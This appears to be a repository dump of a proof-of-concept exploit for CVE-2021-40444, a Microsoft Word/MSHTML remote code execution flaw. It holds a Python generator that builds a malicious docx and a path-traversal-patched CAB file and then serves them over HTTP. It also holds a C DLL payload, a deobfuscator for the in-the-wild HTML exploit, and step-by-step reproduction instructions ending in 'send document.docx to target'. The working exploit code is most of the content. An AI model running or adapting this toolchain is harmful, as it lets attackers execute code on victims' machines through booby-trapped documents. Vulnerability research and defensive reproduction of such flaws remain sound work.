├── out └── 0-blank ├── POC.mp4 ├── img ├── gen.png ├── srv.png └── calc.png ├── srv ├── calc.cab ├── deob.html ├── backup.html └── index.html ├── test └── calc.dll ├── patch_cab.py ├── data └── word_dat │ ├── _rels │ └── .rels │ ├── word │ ├── webSettings.xml │ ├── _rels │ │ └── document.xml.rels │ ├── fontTable.xml │ ├── settings.xml │ ├── theme │ │ └── theme1.xml │ ├── document.xml │ └── styles.xml │ ├── docProps │ ├── app.xml │ └── core.xml │ └── [Content_Types].xml ├── README.md ├── REPRODUCE.md ├── deobfuscate.py └── exploit.py /out/0-blank: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /POC.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lockedbyte/CVE-2021-40444/HEAD/POC.mp4 -------------------------------------------------------------------------------- /img/gen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lockedbyte/CVE-2021-40444/HEAD/img/gen.png -------------------------------------------------------------------------------- /img/srv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lockedbyte/CVE-2021-40444/HEAD/img/srv.png -------------------------------------------------------------------------------- /img/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lockedbyte/CVE-2021-40444/HEAD/img/calc.png -------------------------------------------------------------------------------- /srv/calc.cab: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lockedbyte/CVE-2021-40444/HEAD/srv/calc.cab -------------------------------------------------------------------------------- /test/calc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lockedbyte/CVE-2021-40444/HEAD/test/calc.dll -------------------------------------------------------------------------------- /patch_cab.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Patch cab file 4 | 5 | m_off = 0x2d 6 | f = open('www/out.cab','rb') 7 | cab_data = f.read() 8 | f.close() 9 | 10 | out_cab_data = cab_data[:m_off] 11 | out_cab_data += b'\x00\x5c\x41\x00' 12 | out_cab_data += cab_data[m_off+4:] 13 | 14 | out_cab_data = out_cab_data.replace(b'..\\championship.inf', b'../championship.inf') 15 | 16 | f = open('www/out.cab','wb') 17 | f.write(out_cab_data) 18 | f.close() 19 | -------------------------------------------------------------------------------- /data/word_dat/_rels/.rels: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /data/word_dat/word/webSettings.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /data/word_dat/docProps/app.xml: -------------------------------------------------------------------------------- 1 | 2 | 3412061176Microsoft Office Word092falseConsumers Associationfalse1380falsefalse16.0000 -------------------------------------------------------------------------------- /data/word_dat/docProps/core.xml: -------------------------------------------------------------------------------- 1 | 2 | Microsoftuser62013-10-31T15:25:00Z2021-08-31T16:47:00Zen-US 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-40444 PoC 2 | 3 | Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution) 4 | 5 | Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file) 6 | 7 | You need to install lcab first (`sudo apt-get install lcab`) 8 | 9 | Check `REPRODUCE.md` for manual reproduce steps 10 | 11 | If your generated cab is not working, try pointing out exploit.html URL to calc.cab 12 | 13 | # Using 14 | 15 | First generate a malicious docx document given a DLL, you can use the one at `test/calc.dll` which just pops a `calc.exe` from a call to `system()` 16 | 17 | `python3 exploit.py generate test/calc.dll http://` 18 | 19 | ![Document generation](./img/gen.png) 20 | 21 | Once you generate the malicious docx (will be at `out/`) you can setup the server: 22 | 23 | `sudo python3 exploit.py host 80` 24 | 25 | ![Server](./img/srv.png) 26 | 27 | Finally try the docx in a Windows Virtual Machine: 28 | 29 | ![Pop Calc](./img/calc.png) 30 | -------------------------------------------------------------------------------- /data/word_dat/word/_rels/document.xml.rels: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /data/word_dat/[Content_Types].xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /REPRODUCE.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-40444 2 | 3 | Reproduce steps for CVE-2021-40444 4 | 5 | These reproduction steps are based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file). 6 | 7 | ## Generating docx 8 | 9 | Go to `maldoc/word/_rels/document.xml.rels` and edit the two ocurrences for `http://` with the URL to the exploit.html Eg.: `http://127.0.0.1/exploit.html` file. 10 | 11 | Generate docx: 12 | 13 | `cd maldoc/ ; zip -r maldoc.docx *` 14 | 15 | ## Generating malicious cab 16 | 17 | ``` 18 | #include 19 | 20 | void exec(void) { 21 | system("C:\\Windows\\System32\\calc.exe"); 22 | return; 23 | } 24 | 25 | BOOL WINAPI DllMain( 26 | HINSTANCE hinstDLL, 27 | DWORD fdwReason, 28 | LPVOID lpReserved ) 29 | { 30 | switch( fdwReason ) 31 | { 32 | case DLL_PROCESS_ATTACH: 33 | exec(); 34 | break; 35 | 36 | case DLL_THREAD_ATTACH: 37 | break; 38 | 39 | case DLL_THREAD_DETACH: 40 | break; 41 | 42 | case DLL_PROCESS_DETACH: 43 | break; 44 | } 45 | return TRUE; 46 | } 47 | ``` 48 | 49 | Exec: 50 | 51 | `i686-w64-mingw32-gcc -shared calc.c -o calc.dll` 52 | 53 | Generate cab (install lcab `sudo apt-get install lcab`) 54 | 55 | `cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab` 56 | 57 | Copy out.cab into `www/` directory, modify exploit.html to point to `http://127.0.0.1/out.cab` 58 | 59 | Execute Python script: `patch_cab.py` 60 | 61 | Finally, setup server: 62 | 63 | `cd www/ ; sudo python3 -m http.server 80` 64 | 65 | # End 66 | 67 | Execute now maldoc.docx in target VM 68 | 69 | If not working, make sure there is a `championship.inf` file at `C:\Users\\AppData\Temp\` 70 | 71 | If file is present but DLL did not get executed, make sure you are opening docx from a folder reached from by exploit.html, like Documents, Desktop, or Downloads. 72 | 73 | # More 74 | 75 | To automatically resolve the array obfuscation on HTML file use `deobfuscate.py` (already has hardcoded the mutated array) 76 | 77 | Anyway, there is already a deobfuscated version: `deob.html` 78 | -------------------------------------------------------------------------------- /data/word_dat/word/fontTable.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /data/word_dat/word/settings.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /deobfuscate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Deobfuscate HTML Exploit used in the wild 4 | 5 | pwd = 384881 6 | 7 | x = ["123", "365952KMsRQT", "tiveX", "/Lo", "./../../", "contentDocument", "ppD", "Dat", "close", "Acti", "removeChild", "mlF", "write", "./A", "ata/", "ile", "../", "body", "setAttribute", "#version=5,0,0,0", "ssi", "iframe", "748708rfmUTk", "documentElement", "lFile", "location", "159708hBVRtu", "a/Lo", "Script", "document", "call", "contentWindow", "emp", "Document", "Obj", "prototype", "lfi", "bject", "send", "appendChild", "Low/championship.inf", "htmlfile", "115924pLbIpw", "GET", 8 | "p/championship.inf", "1109sMoXXX", "./../A", "htm", "l/T", "cal/", "1wzQpCO", "ect", "w/championship.inf", "522415dmiRUA", "http://127.0.0.1/test.cab", "88320wWglcB", "XMLHttpRequest", "championship.inf", "Act", "D:edbc374c-5730-432a-b5b8-de94f0b57217", "open", " ') 17 | print('[i] Example: ' + str(sys.argv[0]) + ' generate test/calc.dll http://192.168.1.41') 18 | print('[i] Example: sudo ' + str(sys.argv[0]) + ' host 80') 19 | exit() 20 | 21 | def check_usage(): 22 | ret = 0 23 | if(len(sys.argv) < 2): 24 | usage() 25 | if(sys.argv[1] == 'generate'): 26 | if(len(sys.argv) != 4): 27 | usage() 28 | ret = 1 29 | elif(sys.argv[1] == 'host'): 30 | if(len(sys.argv) != 3): 31 | usage() 32 | ret = 2 33 | else: 34 | usage() 35 | return ret 36 | 37 | def patch_cab(path): 38 | f_r = open(path, 'rb') 39 | cab_content = f_r.read() 40 | f_r.close() 41 | 42 | out_cab = cab_content[:m_off] 43 | out_cab += b'\x00\x5c\x41\x00' 44 | out_cab += cab_content[m_off+4:] 45 | 46 | out_cab = out_cab.replace(b'..\\msword.inf', b'../msword.inf') 47 | 48 | f_w = open(path, 'wb') 49 | f_w.write(out_cab) 50 | f_w.close() 51 | return 52 | 53 | def execute_cmd(cmd): 54 | r = subprocess.getoutput(cmd) 55 | return r 56 | 57 | def generate_payload(): 58 | 59 | payload_path = sys.argv[2] 60 | srv_url = sys.argv[3] 61 | 62 | print('\n[ == Options == ]') 63 | print('\t[ DLL Payload: ' + str(payload_path)) 64 | print('\t[ HTML Exploit URL: ' + str(srv_url)) 65 | print('') 66 | 67 | try: 68 | payload_content = open(payload_path,'rb').read() 69 | filep = open('data/word.dll','wb') 70 | filep.write(payload_content) 71 | filep.close() 72 | except: 73 | print('[-] DLL Payload specified not found!') 74 | exit() 75 | 76 | execute_cmd('cp -r data/word_dat/ data/tmp_doc/') 77 | 78 | print('[*] Writing HTML Server URL...') 79 | 80 | rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r') 81 | xml_content = rels_pr.read() 82 | rels_pr.close() 83 | 84 | xml_content = xml_content.replace('', srv_url + '/word.html') 85 | 86 | rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w') 87 | rels_pw.write(xml_content) 88 | rels_pw.close() 89 | 90 | print('[*] Generating malicious docx file...') 91 | 92 | os.chdir('data/tmp_doc/') 93 | os.system('zip -r document.docx *') 94 | execute_cmd('cp document.docx ../../out/document.docx') 95 | os.chdir('../') 96 | execute_cmd('rm -R tmp_doc/') 97 | os.chdir('../') 98 | 99 | print('[*] Generating malicious CAB file...') 100 | 101 | os.chdir('data/') 102 | execute_cmd('mkdir cab/') 103 | execute_cmd('cp word.dll msword.inf') 104 | os.chdir('cab/') 105 | execute_cmd('lcab \'../msword.inf\' out.cab') 106 | patch_cab('out.cab') 107 | execute_cmd('cp out.cab ../../srv/word.cab') 108 | os.chdir('../') 109 | execute_cmd('rm word.dll') 110 | execute_cmd('rm msword.inf') 111 | execute_cmd('rm -R cab/') 112 | os.chdir('../') 113 | 114 | print('[*] Updating information on HTML exploit...') 115 | 116 | os.chdir('srv/') 117 | execute_cmd('cp backup.html word.html') 118 | 119 | p_exp = open('word.html', 'r') 120 | exploit_content = p_exp.read() 121 | p_exp.close() 122 | 123 | exploit_content = exploit_content.replace('', srv_url + '/word.cab') 124 | 125 | p_exp = open('word.html', 'w') 126 | p_exp.write(exploit_content) 127 | p_exp.close() 128 | 129 | os.chdir('../') 130 | 131 | print('[+] Malicious Word Document payload generated at: out/document.docx') 132 | print('[+] Malicious CAB file generated at: srv/word.cab') 133 | print('[i] You can execute now the server and then send document.docx to target') 134 | 135 | return 136 | 137 | def start_server(): 138 | os.chdir(HOST_DIR) 139 | try: 140 | port = int(sys.argv[2]) 141 | except: 142 | print('[-] Invalid port specified!') 143 | exit() 144 | os.system('python3 -m http.server ' + str(port)) 145 | return 146 | 147 | if __name__ == '__main__': 148 | print('[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]') 149 | 150 | r = check_usage() 151 | 152 | if(r == 1): 153 | print('[*] Option is generate a malicious payload...') 154 | generate_payload() 155 | elif(r == 2): 156 | print('[*] Option is host HTML Exploit...') 157 | start_server() 158 | else: 159 | print('[-] Unknown error') 160 | exit() 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /srv/deob.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /srv/backup.html: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /data/word_dat/word/theme/theme1.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /srv/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | Apache2 Ubuntu Default Page: It works 12 | 192 | 193 | 194 |
195 | 201 | 219 |
220 | 221 | 222 |
223 |
224 | It works! 225 |
226 |
227 |

228 | This is the default welcome page used to test the correct 229 | operation of the Apache2 server after installation on Ubuntu systems. 230 | It is based on the equivalent page on Debian, from which the Ubuntu Apache 231 | packaging is derived. 232 | If you can read this page, it means that the Apache HTTP server installed at 233 | this site is working properly. You should replace this file (located at 234 | /var/www/html/index.html) before continuing to operate your HTTP server. 235 |

236 | 237 | 238 |

239 | If you are a normal user of this web site and don't know what this page is 240 | about, this probably means that the site is currently unavailable due to 241 | maintenance. 242 | If the problem persists, please contact the site's administrator. 243 |

244 | 245 |
246 |
247 |
248 | Configuration Overview 249 |
250 |
251 |

252 | Ubuntu's Apache2 default configuration is different from the 253 | upstream default configuration, and split into several files optimized for 254 | interaction with Ubuntu tools. The configuration system is 255 | fully documented in 256 | /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full 257 | documentation. Documentation for the web server itself can be 258 | found by accessing the manual if the apache2-doc 259 | package was installed on this server. 260 | 261 |

262 |

263 | The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows: 264 |

265 |
266 | /etc/apache2/
267 | |-- apache2.conf
268 | |       `--  ports.conf
269 | |-- mods-enabled
270 | |       |-- *.load
271 | |       `-- *.conf
272 | |-- conf-enabled
273 | |       `-- *.conf
274 | |-- sites-enabled
275 | |       `-- *.conf
276 |           
277 |
    278 |
  • 279 | apache2.conf is the main configuration 280 | file. It puts the pieces together by including all remaining configuration 281 | files when starting up the web server. 282 |
  • 283 | 284 |
  • 285 | ports.conf is always included from the 286 | main configuration file. It is used to determine the listening ports for 287 | incoming connections, and this file can be customized anytime. 288 |
  • 289 | 290 |
  • 291 | Configuration files in the mods-enabled/, 292 | conf-enabled/ and sites-enabled/ directories contain 293 | particular configuration snippets which manage modules, global configuration 294 | fragments, or virtual host configurations, respectively. 295 |
  • 296 | 297 |
  • 298 | They are activated by symlinking available 299 | configuration files from their respective 300 | *-available/ counterparts. These should be managed 301 | by using our helpers 302 | 303 | a2enmod, 304 | a2dismod, 305 | 306 | 307 | a2ensite, 308 | a2dissite, 309 | 310 | and 311 | 312 | a2enconf, 313 | a2disconf 314 | . See their respective man pages for detailed information. 315 |
  • 316 | 317 |
  • 318 | The binary is called apache2. Due to the use of 319 | environment variables, in the default configuration, apache2 needs to be 320 | started/stopped with /etc/init.d/apache2 or apache2ctl. 321 | Calling /usr/bin/apache2 directly will not work with the 322 | default configuration. 323 |
  • 324 |
325 |
326 | 327 |
328 |
329 | Document Roots 330 |
331 | 332 |
333 |

334 | By default, Ubuntu does not allow access through the web browser to 335 | any file apart of those located in /var/www, 336 | public_html 337 | directories (when enabled) and /usr/share (for web 338 | applications). If your site is using a web document root 339 | located elsewhere (such as in /srv) you may need to whitelist your 340 | document root directory in /etc/apache2/apache2.conf. 341 |

342 |

343 | The default Ubuntu document root is /var/www/html. You 344 | can make your own virtual hosts under /var/www. This is different 345 | to previous releases which provides better security out of the box. 346 |

347 |
348 | 349 |
350 |
351 | Reporting Problems 352 |
353 |
354 |

355 | Please use the ubuntu-bug tool to report bugs in the 356 | Apache2 package with Ubuntu. However, check existing bug reports before reporting a new bug. 359 |

360 |

361 | Please report bugs specific to modules (such as PHP and others) 362 | to respective packages, not to the web server itself. 363 |

364 |
365 | 366 | 367 | 368 | 369 |
370 |
371 |
372 |
373 | 374 | 375 | 376 | 377 | -------------------------------------------------------------------------------- /data/word_dat/word/document.xml: -------------------------------------------------------------------------------- 1 | 2 | EnhancedMetaFilefalse\f 0     -------------------------------------------------------------------------------- /data/word_dat/word/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------